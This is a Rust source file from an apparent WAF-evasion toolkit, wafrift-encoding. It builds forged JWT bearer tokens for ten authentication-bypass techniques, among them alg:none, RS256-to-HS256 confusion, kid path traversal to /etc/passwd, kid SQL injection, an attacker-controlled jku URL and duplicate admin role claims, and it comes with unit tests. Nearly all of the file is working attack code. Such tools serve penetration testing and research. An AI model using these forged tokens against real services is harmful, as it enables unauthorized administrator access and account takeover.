wafrift-encoding 0.3.1

Payload encoding strategies and header obfuscation for WAF evasion.
Documentation
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
//! JWT (JSON Web Token) parser-differential probes.
//!
//! Exploits implementation disagreements in JWT validation
//! pipelines. JWT verifiers are notoriously bug-prone: the spec
//! says one thing but real-world libraries have shipped:
//!
//! - `alg:none` acceptance (CVE-2015-9235 and the long tail since)
//! - Algorithm confusion (HS256 verified with RS256 public key as
//!   HMAC secret — CVE-2016-10555, CVE-2016-5431, …)
//! - `kid` header parameter used as a filesystem path / SQL query
//!   without sanitization
//! - `jku` / `x5u` URL parameters trusted (attacker-controlled JWKS)
//! - Empty signature accepted when `alg` is non-`none`
//! - Expiration claim ignored or parsed via lenient deserializer
//! - Duplicate-key resolution differential in the JSON payload
//!
//! Each probe emits ONE
//! `(Authorization, "Bearer <crafted-jwt>")` header pair. Splice
//! into the outgoing request.
//!
//! ## Seed token
//!
//! Each variant builds the JWT from a baseline payload claiming
//! admin role. Operators replace via the `--credential` flag, but
//! the default token has the shape:
//!
//! ```text
//! eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.
//! eyJzdWIiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiIsImV4cCI6OTk5OTk5OTk5OX0.
//! d2FmcmlmdC1zaWctcGxhY2Vob2xkZXI
//! ```
//!
//! ## References
//!
//! - <https://datatracker.ietf.org/doc/html/rfc7519> (JWT)
//! - <https://www.rfc-editor.org/rfc/rfc8725> (JWT BCP, security)
//! - <https://blog.pentesteracademy.com/hacking-jwt-tokens-cve-2015-9235-the-none-algorithm-d8edaa46c4dd>

use base64::Engine;
use base64::engine::general_purpose::URL_SAFE_NO_PAD;
use wafrift_types::canary::Canary;
use wafrift_types::probe::{SmuggleArtifact, SmuggleProbe};

/// Which JWT validation-differential variant to emit.
#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash)]
pub enum JwtSmuggleTechnique {
    /// `{"alg":"none","typ":"JWT"}` header, empty signature.
    /// The headline JWT vuln class — RFC 7519 permits `alg:none`
    /// in unsigned tokens, but signed-token validators that
    /// "trust" the header MUST reject. Some still don't.
    AlgNone,
    /// `{"alg":"NoNe","typ":"JWT"}` — case-mixed alg.
    /// Case-sensitive validators reject; ascii-fold validators
    /// accept and downgrade to none.
    AlgNoneCaseMix,
    /// `{"alg":"HS256","typ":"JWT"}` — but the original token was
    /// RS256. Servers that fetch the RSA public key + use it as
    /// the HMAC secret accept a forged HMAC signature.
    AlgConfusionRs256ToHs256,
    /// `{"alg":"HS256","kid":"../../../etc/passwd"}` — path-
    /// traversal in the `kid` header. Servers that load the key
    /// from a kid-derived filesystem path can be tricked into
    /// loading a known-content file (e.g. /dev/null = empty HMAC
    /// key).
    KidPathTraversal,
    /// `{"alg":"HS256","kid":"x' UNION SELECT 'AAAA'--"}` — SQL
    /// injection in the `kid` header. Servers that look up the
    /// HMAC key via `SELECT key FROM keys WHERE kid='<kid>'` can
    /// be coerced to return an attacker-chosen key.
    KidSqlInjection,
    /// `{"alg":"RS256","jku":"https://attacker.com/.well-known/jwks.json"}`
    /// — attacker-controlled JWKS URL. Servers that fetch the
    /// signing key from the `jku` URL without origin-pinning load
    /// the attacker's key.
    JkuAttackerUrl,
    /// Strip the signature segment. Token shape becomes
    /// `header.payload.` (with trailing dot). Some validators
    /// treat empty signature as "no signature required" when alg
    /// is unset.
    EmptySignature,
    /// Replace signature with a fixed garbage string. Validators
    /// that succeed on ANY non-empty signature when `alg=none`
    /// (paradoxically) bypass.
    NoneAlgWithGarbageSignature,
    /// Strip the `exp` claim entirely. Validators that conditionally
    /// check `exp` (only-if-present) accept a permanent token.
    ExpiryClaimRemoved,
    /// `{"role":"guest","role":"admin"}` — duplicate-key in the
    /// payload. RFC 8259 leaves resolution implementation-defined;
    /// validators see "guest", backend sees "admin" (or vice versa).
    PayloadDuplicateKey,
}

impl JwtSmuggleTechnique {
    /// Stable kebab-case technique name.
    #[must_use]
    pub fn technique_name(&self) -> &'static str {
        match self {
            Self::AlgNone => "jwt.alg-none",
            Self::AlgNoneCaseMix => "jwt.alg-none-case-mix",
            Self::AlgConfusionRs256ToHs256 => "jwt.alg-confusion-rs256-to-hs256",
            Self::KidPathTraversal => "jwt.kid-path-traversal",
            Self::KidSqlInjection => "jwt.kid-sql-injection",
            Self::JkuAttackerUrl => "jwt.jku-attacker-url",
            Self::EmptySignature => "jwt.empty-signature",
            Self::NoneAlgWithGarbageSignature => "jwt.none-alg-with-garbage-signature",
            Self::ExpiryClaimRemoved => "jwt.expiry-claim-removed",
            Self::PayloadDuplicateKey => "jwt.payload-duplicate-key",
        }
    }

    /// One-line operator description.
    #[must_use]
    pub fn description(&self) -> &'static str {
        match self {
            Self::AlgNone => {
                "`alg:none` acceptance — historic CVE class, still ships in lazy validators"
            }
            Self::AlgNoneCaseMix => "Case-mixed `alg:NoNe` — ascii-fold downgrade differential",
            Self::AlgConfusionRs256ToHs256 => {
                "RS256→HS256 algorithm confusion — RSA public key used as HMAC secret"
            }
            Self::KidPathTraversal => {
                "Path traversal in `kid` header — file-load key resolution exploit"
            }
            Self::KidSqlInjection => "SQL injection in `kid` header — DB key-lookup exploit",
            Self::JkuAttackerUrl => "Attacker-controlled `jku` URL — JWKS fetch differential",
            Self::EmptySignature => "Empty signature segment — no-sig-required validator bypass",
            Self::NoneAlgWithGarbageSignature => {
                "Garbage signature with `alg:none` — validator paradox bypass"
            }
            Self::ExpiryClaimRemoved => "Stripped `exp` claim — permanent-token bypass",
            Self::PayloadDuplicateKey => {
                "Duplicate-key in JWT payload — RFC 8259 resolution differential"
            }
        }
    }
}

/// One JWT validation-differential smuggle probe.
#[derive(Debug, Clone)]
pub struct JwtSmuggleProbe {
    /// Per-probe correlation token.
    pub canary: Canary,
    /// Variant.
    pub technique: JwtSmuggleTechnique,
    /// Crafted JWT string (`header.payload.signature` form).
    pub token: String,
}

/// base64url-encode raw bytes (no padding) per RFC 7515 §3.
fn b64url(bytes: &[u8]) -> String {
    URL_SAFE_NO_PAD.encode(bytes)
}

/// Default header / payload / signature placeholder used when the
/// operator doesn't supply a base token. The shapes match standard
/// RS256 / HS256 JWT layout so validators see a structurally
/// realistic token.
const DEFAULT_PAYLOAD_JSON: &str = r#"{"sub":"admin","role":"admin","exp":9999999999}"#;
const PLACEHOLDER_SIG: &str = "wafrift-sig-placeholder";

impl JwtSmuggleProbe {
    /// Build a probe for a given technique. The supplied
    /// `credential_value` is used as the BASE JWT if it looks like
    /// a JWT (three dot-separated segments); otherwise a synthetic
    /// admin token is built around the credential value.
    #[must_use]
    pub fn new(technique: JwtSmuggleTechnique, credential_value: &str) -> Self {
        // Try to use the operator's --credential as a base JWT —
        // if it's not a 3-segment JWT, build a synthetic one with
        // the credential spliced into the `sub` claim.
        let (base_header, base_payload, base_sig) = split_or_synthesize_jwt(credential_value);

        let token = match technique {
            JwtSmuggleTechnique::AlgNone => {
                let header = r#"{"alg":"none","typ":"JWT"}"#;
                format!("{}.{}.", b64url(header.as_bytes()), base_payload)
            }
            JwtSmuggleTechnique::AlgNoneCaseMix => {
                let header = r#"{"alg":"NoNe","typ":"JWT"}"#;
                format!("{}.{}.", b64url(header.as_bytes()), base_payload)
            }
            JwtSmuggleTechnique::AlgConfusionRs256ToHs256 => {
                let header = r#"{"alg":"HS256","typ":"JWT"}"#;
                format!(
                    "{}.{}.{}",
                    b64url(header.as_bytes()),
                    base_payload,
                    b64url(PLACEHOLDER_SIG.as_bytes())
                )
            }
            JwtSmuggleTechnique::KidPathTraversal => {
                let header = r#"{"alg":"HS256","kid":"../../../etc/passwd","typ":"JWT"}"#;
                format!(
                    "{}.{}.{}",
                    b64url(header.as_bytes()),
                    base_payload,
                    b64url(PLACEHOLDER_SIG.as_bytes())
                )
            }
            JwtSmuggleTechnique::KidSqlInjection => {
                let header = r#"{"alg":"HS256","kid":"x' UNION SELECT 'AAAA'--","typ":"JWT"}"#;
                format!(
                    "{}.{}.{}",
                    b64url(header.as_bytes()),
                    base_payload,
                    b64url(PLACEHOLDER_SIG.as_bytes())
                )
            }
            JwtSmuggleTechnique::JkuAttackerUrl => {
                let header =
                    r#"{"alg":"RS256","jku":"https://attacker.example/keys.json","typ":"JWT"}"#;
                format!(
                    "{}.{}.{}",
                    b64url(header.as_bytes()),
                    base_payload,
                    b64url(PLACEHOLDER_SIG.as_bytes())
                )
            }
            JwtSmuggleTechnique::EmptySignature => {
                format!("{base_header}.{base_payload}.")
            }
            JwtSmuggleTechnique::NoneAlgWithGarbageSignature => {
                let header = r#"{"alg":"none","typ":"JWT"}"#;
                format!(
                    "{}.{}.{}",
                    b64url(header.as_bytes()),
                    base_payload,
                    b64url(b"garbage-sig-not-validated")
                )
            }
            JwtSmuggleTechnique::ExpiryClaimRemoved => {
                let payload = r#"{"sub":"admin","role":"admin"}"#;
                format!(
                    "{}.{}.{}",
                    base_header,
                    b64url(payload.as_bytes()),
                    base_sig
                )
            }
            JwtSmuggleTechnique::PayloadDuplicateKey => {
                // Hand-built JSON with duplicate `role` — serde_json
                // refuses to emit dup keys via its normal API, so we
                // construct the bytes manually.
                let payload = r#"{"sub":"admin","role":"guest","role":"admin","exp":9999999999}"#;
                format!(
                    "{}.{}.{}",
                    base_header,
                    b64url(payload.as_bytes()),
                    base_sig
                )
            }
        };
        Self {
            canary: Canary::generate(),
            technique,
            token,
        }
    }

    /// The final `Authorization: Bearer <token>` value.
    #[must_use]
    pub fn bearer_header_value(&self) -> String {
        format!("Bearer {}", self.token)
    }
}

/// Split a credential into `(base_header_b64, base_payload_b64,
/// base_sig_b64)` if it looks like a JWT; otherwise synthesize a
/// default admin token. The synthetic token uses the operator-
/// supplied credential as the `sub` claim so probes still carry
/// operator identity even on a non-JWT credential string.
fn split_or_synthesize_jwt(credential: &str) -> (String, String, String) {
    let parts: Vec<&str> = credential.splitn(3, '.').collect();
    if parts.len() == 3
        && !parts[0].is_empty()
        && !parts[1].is_empty()
        // Looks like a JWT — accept it.
        && parts.iter().all(|p| p.bytes().all(|b| {
            b.is_ascii_alphanumeric() || b == b'-' || b == b'_' || b == b'='
        }))
    {
        (
            parts[0].to_string(),
            parts[1].to_string(),
            parts[2].to_string(),
        )
    } else {
        // Synthesize. Pin the sub claim to the operator credential
        // so the probe carries identity context.
        let header = r#"{"alg":"HS256","typ":"JWT"}"#;
        let payload_obj = format!(
            r#"{{"sub":"{}","role":"admin","exp":9999999999}}"#,
            json_escape(credential)
        );
        let payload = if payload_obj.is_empty() {
            DEFAULT_PAYLOAD_JSON.to_string()
        } else {
            payload_obj
        };
        (
            b64url(header.as_bytes()),
            b64url(payload.as_bytes()),
            b64url(PLACEHOLDER_SIG.as_bytes()),
        )
    }
}

/// JSON-quote a string value's contents (escape `"` and `\`). Does
/// NOT add surrounding quotes — caller does that. Minimal: doesn't
/// handle control bytes (they should never be in a credential).
fn json_escape(s: &str) -> String {
    s.replace('\\', "\\\\").replace('"', "\\\"")
}

impl SmuggleProbe for JwtSmuggleProbe {
    fn canary(&self) -> &Canary {
        &self.canary
    }
    fn technique(&self) -> String {
        self.technique.technique_name().to_string()
    }
    fn description(&self) -> &str {
        self.technique.description()
    }
    fn artifact(&self) -> SmuggleArtifact {
        SmuggleArtifact::Headers(vec![(
            "Authorization".to_string(),
            self.bearer_header_value(),
        )])
    }
}

/// Every JWT smuggle variant against the given seed credential.
/// Returns 10 probes — one per [`JwtSmuggleTechnique`] variant.
#[must_use]
pub fn all_variants(credential: &str) -> Vec<JwtSmuggleProbe> {
    use JwtSmuggleTechnique::*;
    [
        AlgNone,
        AlgNoneCaseMix,
        AlgConfusionRs256ToHs256,
        KidPathTraversal,
        KidSqlInjection,
        JkuAttackerUrl,
        EmptySignature,
        NoneAlgWithGarbageSignature,
        ExpiryClaimRemoved,
        PayloadDuplicateKey,
    ]
    .iter()
    .map(|t| JwtSmuggleProbe::new(*t, credential))
    .collect()
}

#[cfg(test)]
mod tests {
    use super::*;
    use std::collections::HashSet;

    #[test]
    fn all_variants_emits_one_per_technique() {
        assert_eq!(all_variants("wafrift-test").len(), 10);
    }

    #[test]
    fn every_probe_uses_jwt_family_namespace() {
        for p in all_variants("wafrift-test") {
            assert!(p.technique().starts_with("jwt."), "got {}", p.technique());
        }
    }

    #[test]
    fn every_probe_emits_authorization_bearer_header() {
        for p in all_variants("wafrift-test") {
            match p.artifact() {
                SmuggleArtifact::Headers(hs) => {
                    assert_eq!(hs.len(), 1);
                    assert_eq!(hs[0].0, "Authorization");
                    assert!(hs[0].1.starts_with("Bearer "), "got {:?}", hs[0].1);
                }
                other => panic!("expected Headers, got {other:?}"),
            }
        }
    }

    #[test]
    fn alg_none_variant_has_three_dot_separated_segments_with_empty_sig() {
        let p = JwtSmuggleProbe::new(JwtSmuggleTechnique::AlgNone, "wafrift-test");
        let parts: Vec<&str> = p.token.split('.').collect();
        assert_eq!(parts.len(), 3, "expected 3 segments: {}", p.token);
        // Signature segment is empty for AlgNone.
        assert!(parts[2].is_empty(), "alg-none sig must be empty");
    }

    #[test]
    fn alg_none_header_decodes_to_none_alg() {
        let p = JwtSmuggleProbe::new(JwtSmuggleTechnique::AlgNone, "wafrift-test");
        let header_b64 = p.token.split('.').next().unwrap();
        let header_bytes = URL_SAFE_NO_PAD.decode(header_b64).unwrap();
        let header = String::from_utf8(header_bytes).unwrap();
        assert!(header.contains("\"none\""), "header: {header}");
    }

    #[test]
    #[allow(non_snake_case)] // `NoNe` mirrors the asserted mixed-case alg literal — the case-mix bypass marker.
    fn alg_none_case_mix_header_decodes_to_NoNe() {
        let p = JwtSmuggleProbe::new(JwtSmuggleTechnique::AlgNoneCaseMix, "wafrift-test");
        let header_b64 = p.token.split('.').next().unwrap();
        let header = String::from_utf8(URL_SAFE_NO_PAD.decode(header_b64).unwrap()).unwrap();
        assert!(header.contains("NoNe"), "header: {header}");
    }

    #[test]
    fn alg_confusion_variant_advertises_hs256() {
        let p = JwtSmuggleProbe::new(
            JwtSmuggleTechnique::AlgConfusionRs256ToHs256,
            "wafrift-test",
        );
        let header = decode_header(&p.token);
        assert!(header.contains("HS256"), "header: {header}");
    }

    #[test]
    fn kid_path_traversal_variant_contains_etc_passwd() {
        let p = JwtSmuggleProbe::new(JwtSmuggleTechnique::KidPathTraversal, "wafrift-test");
        let header = decode_header(&p.token);
        assert!(header.contains("etc/passwd"), "header: {header}");
    }

    #[test]
    fn kid_sql_injection_variant_contains_sql_payload() {
        let p = JwtSmuggleProbe::new(JwtSmuggleTechnique::KidSqlInjection, "wafrift-test");
        let header = decode_header(&p.token);
        assert!(header.contains("UNION SELECT"), "header: {header}");
    }

    #[test]
    fn jku_attacker_variant_contains_attacker_url() {
        let p = JwtSmuggleProbe::new(JwtSmuggleTechnique::JkuAttackerUrl, "wafrift-test");
        let header = decode_header(&p.token);
        assert!(header.contains("attacker"), "header: {header}");
    }

    #[test]
    fn empty_signature_variant_ends_with_dot() {
        let p = JwtSmuggleProbe::new(JwtSmuggleTechnique::EmptySignature, "wafrift-test");
        assert!(p.token.ends_with('.'), "token: {}", p.token);
    }

    #[test]
    fn expiry_removed_variant_payload_lacks_exp_claim() {
        let p = JwtSmuggleProbe::new(JwtSmuggleTechnique::ExpiryClaimRemoved, "wafrift-test");
        let payload_b64 = p.token.split('.').nth(1).unwrap();
        let payload = String::from_utf8(URL_SAFE_NO_PAD.decode(payload_b64).unwrap()).unwrap();
        assert!(!payload.contains("exp"), "payload still has exp: {payload}");
    }

    #[test]
    fn payload_duplicate_key_variant_contains_two_role_pairs() {
        let p = JwtSmuggleProbe::new(JwtSmuggleTechnique::PayloadDuplicateKey, "wafrift-test");
        let payload_b64 = p.token.split('.').nth(1).unwrap();
        let payload = String::from_utf8(URL_SAFE_NO_PAD.decode(payload_b64).unwrap()).unwrap();
        let role_count = payload.matches("\"role\":").count();
        assert_eq!(role_count, 2, "payload: {payload}");
    }

    #[test]
    fn canaries_are_unique_per_probe() {
        let probes = all_variants("wafrift-test");
        let tokens: HashSet<String> = probes.iter().map(|p| p.canary().token.clone()).collect();
        assert_eq!(tokens.len(), probes.len());
    }

    #[test]
    fn technique_names_are_distinct() {
        let probes = all_variants("wafrift-test");
        let techs: HashSet<String> = probes.iter().map(|p| p.technique()).collect();
        assert_eq!(techs.len(), probes.len());
    }

    #[test]
    fn descriptions_are_non_empty_and_distinct() {
        let probes = all_variants("wafrift-test");
        let descs: HashSet<&str> = probes.iter().map(|p| p.description()).collect();
        assert_eq!(descs.len(), probes.len());
    }

    #[test]
    fn operator_supplied_jwt_is_used_as_base() {
        // Build a real-looking 3-segment JWT and feed it as
        // credential. AlgNone variant should reuse the payload
        // segment verbatim.
        let base_payload_json = r#"{"user":"victim","role":"admin"}"#;
        let base = format!(
            "{}.{}.{}",
            URL_SAFE_NO_PAD.encode(r#"{"alg":"RS256"}"#),
            URL_SAFE_NO_PAD.encode(base_payload_json),
            URL_SAFE_NO_PAD.encode("placeholder")
        );
        let p = JwtSmuggleProbe::new(JwtSmuggleTechnique::AlgNone, &base);
        let parts: Vec<&str> = p.token.split('.').collect();
        let payload = String::from_utf8(URL_SAFE_NO_PAD.decode(parts[1]).unwrap()).unwrap();
        assert!(payload.contains("victim"), "payload: {payload}");
    }

    #[test]
    fn non_jwt_credential_is_synthesized_into_sub_claim() {
        let p = JwtSmuggleProbe::new(
            JwtSmuggleTechnique::AlgConfusionRs256ToHs256,
            "wafrift-custom-creds",
        );
        let parts: Vec<&str> = p.token.split('.').collect();
        let payload = String::from_utf8(URL_SAFE_NO_PAD.decode(parts[1]).unwrap()).unwrap();
        assert!(
            payload.contains("wafrift-custom-creds"),
            "payload: {payload}"
        );
    }

    /// Test helper: decode the JWT header from a token string.
    fn decode_header(token: &str) -> String {
        let b64 = token.split('.').next().unwrap();
        String::from_utf8(URL_SAFE_NO_PAD.decode(b64).unwrap()).unwrap()
    }
}